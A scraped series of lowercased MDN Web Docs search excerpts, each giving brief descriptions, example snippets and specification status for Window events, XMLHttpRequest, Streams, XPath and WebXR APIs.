bubbles yes cancelable yes (although specified as a simple event that isn't cancelable) interface event event handler property none the original target for this event is the document that has loaded.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
... examples basic usage window.addeventlistener('domcontentloaded', (event) => { console.log('dom fully loaded and parsed'); }); specifications specification status html living standard living standard ...
Window: animationend event - Web APIs
bubbles yes cancelable no interface animationevent event handler property onanimationend the original target for this event is the element that had the animation applied.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
... specifications specification status comment css animations working draft initial definition ...
Window: animationiteration event - Web APIs
bubbles yes cancelable no interface animationevent event handler property onanimationiteration the original target for this event is the element that had the animation applied.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
... specifications specification status comment css animations working draft initial definition ...
Window: blur event - Web APIs
WebAPIWindowblur event
bubbles no cancelable no interface focusevent event handler property onblur sync / async sync composed yes examples live example this example changes the appearance of a document when it loses focus.
...click outside the document to lose focus.'; } const log = document.getelementbyid('log'); window.addeventlistener('blur', pause); window.addeventlistener('focus', play); result specifications specification status comment ui events working draft added info that this event is composed.
... document object model (dom) level 3 events specification obsolete initial definition ...
Window.confirm() - Web APIs
WebAPIWindowconfirm
the window.confirm() method displays a modal dialog with an optional message and two buttons: ok and cancel.
... return value a boolean indicating whether ok (true) or cancel (false) was selected.
... specification specification status comment html living standardthe definition of 'confirm()' in that specification.
Window.convertPointFromPageToNode - Web APIs
given a point specified in the page's coordinate system, the window method convertpointfrompagetonode() returns a point object specifying the same location in the coordinate system of the specified dom node.
... return value a point object describing the specified location in the node's coordinate system.
... specifications this method was specified in the defunct 20 march 2009 working draft of css 2d transforms module level 3.
Window: copy event - Web APIs
WebAPIWindowcopy event
bubbles yes cancelable yes interface clipboardevent event handler property oncopy the original target for this event is the element that was the intended target of the copy action.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
... examples window.addeventlistener('copy', (event) => { console.log('copy action initiated') }); specifications specification status clipboard api and events working draft ...
Window: cut event - Web APIs
WebAPIWindowcut event
bubbles yes cancelable yes interface clipboardevent event handler property oncut the original target for this event is the element that was the intended target of the cut action.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
... examples window.addeventlistener('cut', (event) => { console.log('cut action initiated') }); specifications specification status clipboard api and events working draft ...
Window: devicemotion event - Web APIs
the devicemotion event is fired at a regular interval and indicates the amount of physical force of acceleration the device is receiving at that time.
... bubbles no cancelable no interface devicemotionevent event handler property window.ondevicemotion examples function handlemotionevent(event) { var x = event.accelerationincludinggravity.x; var y = event.accelerationincludinggravity.y; var z = event.accelerationincludinggravity.z; // do something awesome.
... } window.addeventlistener("devicemotion", handlemotionevent, true); specifications specification status deviceorientation event specificationthe definition of 'devicemotion event' in that specification.
Window: focus event - Web APIs
bubbles no cancelable no interface focusevent event handler property onfocus sync / async sync composed yes examples live example this example changes the appearance of a document when it loses focus.
...click outside the document to lose focus.'; } const log = document.getelementbyid('log'); window.addeventlistener('blur', pause); window.addeventlistener('focus', play); result specifications specification status comment ui events working draft added info that this event is composed.
... document object model (dom) level 3 events specification obsolete initial definition ...
Window.frames - Web APIs
WebAPIWindowframes
it is similar to an array in that it has a length property and its items can be accessed using the [i] notation.
... example var frames = window.frames; // or // var frames = window.parent.frames; for (var i = 0; i < frames.length; i++) { // do something with each subframe as frames[i] frames[i].document.body.style.background = "red"; } specifications specification status comment html living standardthe definition of 'window.frames' in that specification.
... living standard html5the definition of 'window.frames' in that specification.
Window.getAttention() - Web APIs
getattention will still work when used from chrome in a gecko application.
... specification dom level 0.
... not part of specification.
Window.isSecureContext - Web APIs
the window.issecurecontext read-only property indicates whether a context is capable of using features that require secure contexts.
... syntax var issecure = window.issecurecontext examples feature detection you can use feature detection to check whether they are in a secure context or not by using the issecurecontext boolean which is exposed on the global scope.
... }); } specifications specification status comment secure contexts candidate recommendation initial definition.
Window.menubar - Web APIs
WebAPIWindowmenubar
the window.menubar property returns the menubar object, whose visibility can be checked.
... <html> <head> <title>various dom tests</title> <script> var visible = window.menubar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html living standardthe definition of 'window.menubar' in that specification.
... living standard html5the definition of 'window.menubar' in that specification.
Window: message event - Web APIs
the message event is fired on a window object when the window receives a message, for example from a call to window.postmessage() from another browsing context.
... bubbles no cancelable no interface messageevent event handler property onmessage examples suppose a script sends a message to a different browsing context, such as another <iframe>, using code like this: const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const windowmessagebutton = document.queryselector('#window-message'); windowmessagebutton.addeventlistener('click', () => { targetframe.postmessage('hello there', targetorigin); }); the receiver can listen for the message using addeventlistener() with code like this: window.addeventlistener('message', (event) => { console.log(`received message: ${event.data}`); }); alternatively the listener could use the onmessage event handler propert...
...y: window.onmessage = (event) => { console.log(`received message: ${event.data}`); }; specifications specification status html living standard living standard ...
Window.name - Web APIs
WebAPIWindowname
modern web applications hosting sensitive data should, however, not rely on window.name for cross-domain messaging but instead utilize the postmessage api.
... specifications specification status comment html living standardthe definition of 'window.name' in that specification.
... living standard html5the definition of 'window.name' in that specification.
Window: paste event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property onpaste the original target for this event is the element that was the intended target of the paste action.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
... examples window.addeventlistener('paste', (event) => { console.log('paste action initiated') }); specifications specification status clipboard api and events working draft ...
Window: resize event - Web APIs
bubbles no cancelable no interface uievent event handler property onresize in some earlier browsers it was possible to register resize event handlers on any html element.
...r('#height'); const widthoutput = document.queryselector('#width'); function reportwindowsize() { heightoutput.textcontent = window.innerheight; widthoutput.textcontent = window.innerwidth; } window.onresize = reportwindowsize; addeventlistener equivalent you could set up the event handler using the addeventlistener() method: window.addeventlistener('resize', reportwindowsize); specifications specification status document object model (dom) level 3 events specificationthe definition of 'resize' in that specification.
... obsolete css object model (cssom) view modulethe definition of 'resize' in that specification.
Window.scroll() - Web APIs
WebAPIWindowscroll
y-coord is the pixel along the vertical axis of the document that you want displayed in the upper left.
... examples <!-- put the 100th vertical pixel at the top of the window --> <button onclick="scroll(0, 100);">click to scroll down 100 pixels</button> using options: window.scroll({ top: 100, left: 100, behavior: 'smooth' }); notes window.scrollto() is effectively the same as this method.
... specification specification status comment css object model (cssom) view modulethe definition of 'window.scroll()' in that specification.
Window.scrollMaxX - Web APIs
WebAPIWindowscrollMaxX
the window.scrollmaxx read-only property returns the maximum number of pixels that the document can be scrolled horizontally.
... example // scroll to right edge of the page let maxx = window.scrollmaxx; window.scrollto(maxx, 0); notes do not use this property to get the total document width, which is not equivalent to window.innerwidth + window.scrollmaxx, because window.innerwidth includes the width of any visible vertical scrollbar, thus the result would exceed the total document width by the width of any visible vertical scrollbar.
... specification this is not part of any specification.
Window.scrollMaxY - Web APIs
WebAPIWindowscrollMaxY
the window.scrollmaxy read-only property returns the maximum number of pixels that the document can be scrolled vertically.
... example // scroll to the bottom of the page let maxy = window.scrollmaxy; window.scrollto(0, maxy); notes do not use this property to get the total document height, which is not equivalent to window.innerheight + window.scrollmaxy, because window.innerheight includes the width of any visible horizontal scrollbar, thus the result would exceed the total document height by the width of any visible horizontal scrollbar.
... specification this is not part of any specification.
Window.scrollbars - Web APIs
WebAPIWindowscrollbars
the window.scrollbars property returns the scrollbars object, whose visibility can be checked.
... <!doctype html> <html> <head> <title>various dom tests</title> <script> let visiblescrollbars = window.scrollbars.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html living standardthe definition of 'window.scrollbars' in that specification.
... living standard html5the definition of 'window.scrollbars' in that specification.
Window.sizeToContent() - Web APIs
in order for it to work, the dom content should be loaded when this function is called—for example, once the domcontentloaded event has been thrown.
... the minimal size of the window can be clamped.
... syntax window.sizetocontent() example window.sizetocontent(); specification this feature is not part of any specification.
Window.stop() - Web APIs
WebAPIWindowstop
because of how scripts are executed, this method cannot interrupt its parent document's loading, but it will stop its images, new windows, and other still-loading objects.
... syntax window.stop() example window.stop(); specification specification status comment html living standardthe definition of 'window.stop()' in that specification.
... living standard html5the definition of 'window.stop' in that specification.
Window: transitionrun event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property ontransitionrun the original target for this event is the element that had the transition applied.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
... specifications specification status comment css transitionsthe definition of 'transitionrun' in that specification.
Window: transitionstart event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitionstart the original target for this event is the element that had the transition applied.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
... specifications specification status comment css transitionsthe definition of 'transitionstart' in that specification.
WindowClient.focused - Web APIs
the focused read-only property of the windowclient interface is a boolean that indicates whether the current client has focus.
... example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if(!client.focused) return client.focus(); } } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition ...
...of 'windowclient: focused' in that specification.
WindowClient.visibilityState - Web APIs
the visibilitystate read-only property of the windowclient interface indicates the visibility of the current client.
... this value can be one of "hidden", "visible", or "prerender".
....matchall({ type: "window" }).then(function(clientlist) { for (let i = 0; i < clientlist.length; i++) { let client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if (client.visibilitystate === 'hidden') return client.focus(); } } } if (clients.openwindow) { return clients.openwindow('/'); } })); }); specifications specification status comment service workersthe definition of 'visibilitystate' in that specification.
WindowEventHandlers.onbeforeprint - Web APIs
in general, you should prefer the use of an @media print css at-rule, but it may be necessary to use these events in some cases.
...}; polyfill safari does not implement these events, but you can create an equivalent result to the beforeprint event with window.matchmedia('print').
... var mediaquerylist = window.matchmedia('print'); mediaquerylist.addlistener(function(mql) { if(mql.matches) { console.log('webkit equivalent of onbeforeprint'); } }); specification specification status comment html living standardthe definition of 'onbeforeprint' in that specification.
WindowOrWorkerGlobalScope.indexedDB - Web APIs
the indexeddb read-only property of the windoworworkerglobalscope mixin provides a mechanism for applications to asynchronously access the capabilities of indexed databases.
... example the following code creates a request for a database to be opened asychronously, after which the database is opened when the request's onsuccess handler is fired: var db; function opendb() { var dbopenrequest = window.indexeddb.open('todolist'); dbopenrequest.onsuccess = function(e) { db = dbopenrequest.result; } } specifications specification status comment indexed database api draftthe definition of 'indexeddb' in that specification.
... indexed database api 2.0the definition of 'indexeddb' in that specification.
WindowOrWorkerGlobalScope.isSecureContext - Web APIs
the issecurecontext read-only property of the windoworworkerglobalscope interface returns a boolean indicating whether the current context is secure (true) or not (false).
... specifications specification status comment secure contextsthe definition of 'windoworworkerglobalscope.issecurecontext' in that specification.
... candidate recommendation initial definition.
Worker: messageerror event - Web APIs
the messageerror event is fired on a worker object when it receives a message that can't be deserialized.
... bubbles no cancelable no interface messageevent event handler property onmessageerror examples create a worker, and listen for message and messageerror events using addeventlistener(): // inside main.js const worker = new worker("static/scripts/worker.js"); worker.addeventlistener("message", (event) => { console.error(`received message from worker: ${event}`); }); worker.addeventlistener("messageerror", (event) => { console.error(`error receiving message from worker: ${event}`); }); the same, but using the onmessageerror event handler property: // inside main.js const worker = new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.error(`received message from worker: ${event}`); }; worker.
...onmessageerror = (event) => { console.error(`error receiving message from worker: ${event}`); }; specifications specification status html living standard living standard ...
WorkerGlobalScope.navigator - Web APIs
example if you call the following console.log(navigator); inside a worker (which would basically be the equivalent of self.console.log(self.navigator);, as these are being called on the worker scope, which can be referenced with workerglobalscope.self), you will get a workernavigator object written to the console — something like the following: object {online: true, useragent: "mozilla/5.0 (macintosh; intel mac os x 10_10_1) ap…ml, like gecko) chrome/40.0.2214.93 safari/53...
...7.36", product: "gecko", platform: "macintel", appversion: "5.0 (macintosh; intel mac os x 10_10_1) applewebki…ml, like gecko) chrome/40.0.2214.93 safari/537.36"…} appcodename: "mozilla" appname: "netscape" appversion: "5.0 (macintosh; intel mac os x 10_10_1) applewebkit/537.36 (khtml, like gecko) chrome/40.0.2214.93 safari/537.36" hardwareconcurrency: 4 online: true platform: "macintel" product: "gecko" useragent: "mozilla/5.0 (macintosh; intel mac os x 10_10_1) applewebkit/537.36 (khtml, like gecko) chrome/40.0.2214.93 safari/537.36" __proto__: object you could use this navigator object to return more information about the runtime envinronment, as you might do with a normal navigator object.
... specifications specification status comment html living standardthe definition of 'navigator' in that specification.
WritableStream.locked - Web APIs
the locked read-only property of the writablestream interface returns a boolean indicating whether the writablestream is locked to a writer.
... syntax var locked = writablestream.locked; value a boolean indicating whether or not the writable stream is locked.
... const writer = writablestream.getwriter(); writablestream.locked // should return true, as the stream has been locked to a writer specifications specification status comment streamsthe definition of 'locked' in that specification.
WritableStreamDefaultController.error() - Web APIs
the error() method of the writablestreamdefaultcontroller interface causes any future interactions with the associated stream to error.
...however, it can be useful for suddenly shutting down a stream in response to an event outside the normal lifecycle of interactions with the underlying sink.
... } }); specifications specification status comment streamsthe definition of 'error()' in that specification.
WritableStreamDefaultController - Web APIs
writablestreamdefaultcontroller instances are created automatically during writablestream construction.
... methods writablestreamdefaultcontroller.error() causes any future interactions with the associated stream to error.
... } }); specifications specification status comment streamsthe definition of 'writablestreamdefaultcontroller' in that specification.
WritableStreamDefaultWriter.desiredSize - Web APIs
note that this can be negative if the queue is over-full.
... the value will be null if the stream cannot be successfully written to (due to either being errored, or having an abort queued up), and zero if the stream is closed.
... // return stream's desired size let size = writer.desiredsize; specifications specification status comment streamsthe definition of 'desiredsize' in that specification.
WritableStreamDefaultWriter.ready - Web APIs
the second also checks whether the the writablestream is done writing, but this time because the writing must be finished before the writer can be closed.
... defaultwriter.ready .then(function() { defaultwriter.write(chunk) .then(function() { console.log("chunk written to sink.); }) .catch(function(err) { console.log("chunk error: " + err); }); }); // call ready again to ensure that all chunks are written // before closing the writer.
... defaultwriter.ready .then(function() { defaultwriter.close() .then(function() { console.log("all chunks written"); }) .catch(function(err) { console.log("stream error: " + err); }); }); }); } specifications specification status comment streamsthe definition of 'ready' in that specification.
XDomainRequest.ontimeout - Web APIs
an event handler which is called when a pending xdomainrequest times out.
... syntax xdr.ontimeout = funcref; parameters funcref a function to be called when the event times out.
... example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.ontimeout = function(){ //handle timeout } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XMLHttpRequest: abort event - Web APIs
the abort event is fired when a request has been aborted, for example because the program called xmlhttprequest.abort().
... bubbles no cancelable no interface progressevent event handler property onabort examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = docume...
...', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest.mozBackgroundRequest - Web APIs
xmlhttprequest.mozbackgroundrequest is a boolean, indicating if the object represents a background service request.
... in cases in where a security dialog (such as authentication or a bad certificate notification) would normally be shown, this request fails instead.
... note: this property must be set before calling open().
XMLHttpRequest.multipart - Web APIs
this boolean indicates if the response is expected to be a stream of possibly multiple xml documents.
... this enables support for server push; for each xml document that's written to this request, a new xml dom document is created and the onload handler is called between documents.
... note: when this is set, the onload handler and other event handlers are not reset after the first xmldocument is loaded, and the onload handler is called after each part of the response is received.
XMLHttpRequest.overrideMimeType() - Web APIs
this method must be called before calling send().
...you can avoid this by calling overridemimetype() to specify a different type.
... // interpret the received data as plain text req = new xmlhttprequest(); req.overridemimetype("text/plain"); req.addeventlistener("load", callback, false); req.open("get", url); req.send(); specifications specification status comment xmlhttprequestthe definition of 'overridemimetype()' in that specification.
XMLHttpRequest: progress event - Web APIs
the progress event is fired periodically when a request receives more data.
... bubbles no cancelable no interface progressevent event handler property onprogress examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = doc...
...', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest.responseText - Web APIs
syntax var resulttext = xmlhttprequest.responsetext; value a domstring which contains either the textual data received using the xmlhttprequest or null if the request failed or "" if the request has not yet been sent by calling send().
... while handling an asynchronous request, the value of responsetext always has the current content received from the server, even if it's incomplete because the data has not been completely received yet.
... example var xhr = new xmlhttprequest(); xhr.open('get', '/server', true); // if specified, responsetype must be empty string or "text" xhr.responsetype = 'text'; xhr.onload = function () { if (xhr.readystate === xhr.done) { if (xhr.status === 200) { console.log(xhr.response); console.log(xhr.responsetext); } } }; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.responseType - Web APIs
usage notes synchronous xhr restrictions you cannot change the value of responsetype in a synchronous xmlhttprequest except when the request belongs to a worker.
... xmlhttprequests are asynchronous by default; they are only placed in synchronous mode by passing false as the value of the optional async parameter when calling open().
... specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.responseXML - Web APIs
the xmlhttprequest.responsexml read-only property returns a document containing the html or xml retrieved by the request; or null if the request was unsuccessful, has not yet been sent, or if the data can't be parsed as xml or html.
... if the server doesn't specify the content-type as "text/xml" or "application/xml", you can use xmlhttprequest.overridemimetype() to parse it as xml anyway.
...ple var xhr = new xmlhttprequest; xhr.open('get', '/server'); // if specified, responsetype must be empty string or "document" xhr.responsetype = 'document'; // force the response to be parsed as xml xhr.overridemimetype('text/xml'); xhr.onload = function () { if (xhr.readystate === xhr.done && xhr.status === 200) { console.log(xhr.response, xhr.responsexml); } }; xhr.send(); specifications specification status comment xmlhttprequestthe definition of 'responsexml' in that specification.
XMLHttpRequest.status - Web APIs
the read-only xmlhttprequest.status property returns the numerical http status code of the xmlhttprequest's response.
...browsers also report a status of 0 in case of xmlhttprequest errors.
...ample var xhr = new xmlhttprequest(); console.log('unsent: ', xhr.status); xhr.open('get', '/server'); console.log('opened: ', xhr.status); xhr.onprogress = function () { console.log('loading: ', xhr.status); }; xhr.onload = function () { console.log('done: ', xhr.status); }; xhr.send(); /** * outputs the following: * * unsent: 0 * opened: 0 * loading: 200 * done: 200 */ specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.timeout - Web APIs
the xmlhttprequest.timeout property is an unsigned long representing the number of milliseconds a request can take before automatically being terminated.
... using a timeout with an asynchronous request in internet explorer, the timeout property may be set only after calling the open() method and before calling the send() method.
...}; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onabort - Web APIs
the xmlhttprequesteventtarget.onabort is the function called when an xmlhttprequest transaction is aborted, such as when the xmlhttprequest.abort() function is called.
... syntax xmlhttprequest.onabort = callback; values callback is the function to be executed when the transaction is aborted.
...xmlhttp.abort(); // this will invoke our onabort handler above specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onerror - Web APIs
the xmlhttprequesteventtarget.onerror is the function called when an xmlhttprequest transaction fails due to an error.
... syntax xmlhttprequest.onerror = callback; values callback is the function to be executed when the request fails.
... example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onerror = function () { console.log("** an error occurred during the transaction"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onloadstart - Web APIs
the xmlhttprequesteventtarget.onloadstart is the function called when an xmlhttprequest transaction starts transferring data.
... syntax xmlhttprequest.onloadstart = callback; values callback is the function to be called when the transaction begins to transfer data.
... example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onloadstart = function () { console.log("download underway"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onprogress - Web APIs
the xmlhttprequesteventtarget.onprogress is the function called periodically with information when an xmlhttprequest before success completely.
... syntax xmlhttprequest.onprogress = callback; values callback is the function to be called periodically before the request is completed.
... xmlhttprequest.onprogress = function (event) { event.loaded; event.total; }; example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onprogress = function () { //do something }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XPathEvaluator.createExpression() - Web APIs
this method compiles an xpathexpression which can then be used for (repeated) evaluations of the xpath expression.
... namespace_err if the expression contains namespace prefixes which cannot be resolved by the specified xpathnsresolver, a domexception of type namespace_error is raised.
... html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.createexpression()' in that specification.
XPathEvaluator.createNSResolver() - Web APIs
this method adapts any dom node to resolve namespaces so that an xpath expression can be easily evaluated relative to the context of the node where it appeared within the document.
... this adapter works like the dom level 3 method node.lookupnamespaceuri() in resolving the namespace uri from a given prefix using the current information available in the node's hierarchy at the time the method is called, also correctly resolving the implicit xml prefix.
... specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.creatensresolver()' in that specification.
XPathEvaluator.evaluate() - Web APIs
type_err in case result cannot be converted to the specified type, an xpathexception of type type_err is raised.
... namespace_err if the expression contains namespace prefixes which cannot be resolved by the specified xpathnsresolver, a domexception of type namespace_error is raised.
... html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var evaluator = new xpathevaluator(); var result = evaluator.evaluate("//div", document, null, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.evaluate()' in that specification.
XPathException - Web APIs
in the dom xpath api the xpathexception interface represents exception conditions that can be encountered while performing xpath operations.
... type_err 52 if the expression cannot be converted to return the specified type.
... specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexception' in that specification.
XPathExpression.evaluate() - Web APIs
type_err in case result cannot be converted to the specified type, an xpathexception of type type_err is raised.
... namespace_err if the expression contains namespace prefixes which cannot be resolved by the specified xpathnsresolver, a domexception of type namespace_error is raised.
... html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexpression.evaluate()' in that specification.
XPathResult.singleNodeValue - Web APIs
the read-only singlenodevalue property of the xpathresult interface returns a node value or null in case no node was matched of a result with xpathresult.resulttype being any_unordered_node_type or first_ordered_node_type.
... exceptions type_err in case xpathresult.resulttype is not any_unordered_node_type or first_ordered_node_type, an xpathexception of type type_err is thrown.
... html <div>xpath example</div> <div>tag name of the element having the text content 'xpath example': <output></output></div> javascript var xpath = "//*[text()='xpath example']"; var result = document.evaluate(xpath, document, null, xpathresult.first_ordered_node_type, null); document.queryselector("output").textcontent = result.singlenodevalue.localname; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.singlenodevalue' in that specification.
XPathResult.snapshotItem() - Web APIs
the snapshotitem() method of the xpathresult interface returns an item of the snapshot collection or null in case the index is not within the range of nodes.
... exceptions type_err in case xpathresult.resulttype is not unordered_node_snapshot_type or ordered_node_snapshot_type, an xpathexception of type type_err is thrown.
... html <div>xpath example</div> <div>tag names of the matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); var node = null; var tagnames = []; for(var i = 0; i < result.snapshotlength; i++) { var node = result.snapshotitem(i); tagnames.push(node.localname); } document.queryselector("output").textcontent = tagnames.join(", "); result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.snapshotitem()' in that specification.
XPathResult - Web APIs
since xpath expressions can result in a variety of result types, this interface makes it possible to determine and handle the type and value of the result.
... xpathresult.snapshotitem() returns an item of the snapshot collection or null in case the index is not within the range of nodes.
... specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult' in that specification.
XRFrame.getPose() - Web APIs
WebAPIXRFramegetPose
with this, you can observe the motion of objects relative to each other and to fixed locations throughout the scene.
... return value an xrpose object specifying the position and orientation, relative to the xrspace indicated by basespace.
... specifications specification status comment webxr device apithe definition of 'xrframe.getpose()' in that specification.
XRInputSourceArray.entries() - Web APIs
the xrinputsourcearray interface's entries() method returns a javascript iterator which can then be used to iterate over the key/value pairs in the input source array.
... return value an iterator which can be used to walk through the list of xrinputsource objects included in the input source array.
... specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() metho...
XRInputSourceArray.keys() - Web APIs
the keys() method in the xrinputsourcearray interface returns a javascript iterator which can then be used to iterate over the keys used to reference each item in the array of input sources.
... return value a javascript iterator that can be used to walk through the keys for each entry in the list of input sources.
... specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() metho...
XRInputSourceEvent.inputSource - Web APIs
this event indicates an action the user has taken using a webxr input controller, such as a hand controller, motion sensing device, or other input apparatus.
... example the snippet below shows a handler for the select event which looks specifically for events which happen on gaze input devices.
... xrsession.onselect = event => { let source = event.inputsource; if (source.targetraymode == "gaze") { /* handle selection using a gaze input */ } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceevent.inputsource' in that specification.
XRInputSourceEventInit.inputSource - Web APIs
the xrinputsourceeventinit dictionary's inputsource property is used when calling the xrinputsourceevent() constructor to specify the xrinputsource from which the newly-created event is being sent.
... syntax let xrinputsourceeventinit.inputsource = xrinputsource; let xrinputsourceeventinit = { inputsource: xrinputsource }; let xrinputsourceevent = new xrinputsourceevent(type, { inputsource: xrinputsource }); value an xrinputsource object indicating the source of the newly-created xrinputsourceevent to be created.
... let event = new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.inputsource' in that specification.
XRReferenceSpace.onreset - Web APIs
the xrreferencespace interface's onreset event handler property can be set to a function which is called when the xrreferencespace receives a reset event, signaling that the xr device has experienced a discontinuity large enough to require that the position and/or orientation of the origin be significantly altered to compensate.
... syntax xrreferencespace.onreset = eventhandler; eventhandler = xrreferencespace.onreset; value an event handler function which will be called whenever the reset event is received by the xrreferencespace.
... specifications specification status comment webxr device apithe definition of 'onreset' in that specification.
XRReferenceSpaceEvent() - Web APIs
syntax let refspaceevent = new xrreferencespaceevent(type, eventinitdict); parameters type a domstring indicating the event type which has occurred.
... transform an xrrigidtransform which maps the old coordinate system (from before the changes indicated by this event) to the new coordiante system.
... specifications specification status comment webxr device apithe definition of 'xrreferencespaceevent()' in that specification.
XRRenderState.baseLayer - Web APIs
this property is read-only; however, you can indirectly change its value using xrsession.updaterenderstate.
... examples you can set the xrwebgllayer used for rendering by calling updaterenderstate(), like this: let canvas = document.queryselector("canvas"); gl = canvas.getcontext("webgl", { xrcompatible: true }); setnewwebgllayer(); function setnewwebgllayer(gl) { if (!gl) { /* webgl not available */ return; } xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl); }); }; here, the canvas obtained in the first line is the canvas into which webgl is going to draw...
... specifications specification status comment webxr device apithe definition of 'xrrenderstate.baselayer' in that specification.
XRRigidTransform.inverse - Web APIs
